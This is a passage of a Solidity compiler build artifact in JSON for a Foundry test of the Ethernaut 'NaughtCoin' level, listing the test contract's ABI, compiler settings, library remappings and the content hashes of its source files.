StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/NaughtCoin.t.sol\":\"TestNaughtCoin\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/NaughtCoinAttack.sol\":{\"keccak256\":\"0xc7c50ac61758a1cc99a1970041c3a2ccea431922d1cff9a531b1f30164d9e858\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91df97d125661f7d357e1cf072cc3da06a66eed883a8b665592cb12bd6af03b2\",\"dweb:/ipfs/QmSX6A4hbNoiQDQ7jv7cWkFSMW9auMhXPAbu2GyEUFfdQo\"]},\"src/levels/NaughtCoin.sol\":{\"keccak256\":\"0xcb5badafdda7964f7ecff734d7ea651955edd8ac972af60da00a333d93b90ee6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://c28431e7bf65eb7fd2c5f86912e2b1a8f5abe81ed9b89feb2d4c7d0f3c1c4862\",\"dweb:/ipfs/QmexLSfBVULBNSsMMNkZjpvFWj24ESns2L8Jcm7e6d1reF\"]},\"src/levels/NaughtCoinFactory.sol\":{\"keccak256\":\"0x7146a3ec6a6e204caf33b721e814b3e1a3691365931e7753feda417709854ed8\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://16ccc02087f857f8dd2ff7d51adb718d52981ed8fcb20ae04e5bae211b46dadb\",\"dweb:/ipfs/QmYm2NTpzwPVoxksq8n33nVU49jfVCbicB5MfinMPqr36s\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/NaughtCoin.t.sol\":{\"keccak256\":\"0xffe9823837025cb74adc50920bf3f8b14674f16b61b98f22037400d348a8f537\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://825fc4e48e3bd5115928b120cbff72bd5f6b32fd7579bda362989285f25b8734\",\"dweb:/ipfs/QmaSCT9e1kQgfnNXRxr1VUZoGG3tFkMXPazP8bg9FYxWhq\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the 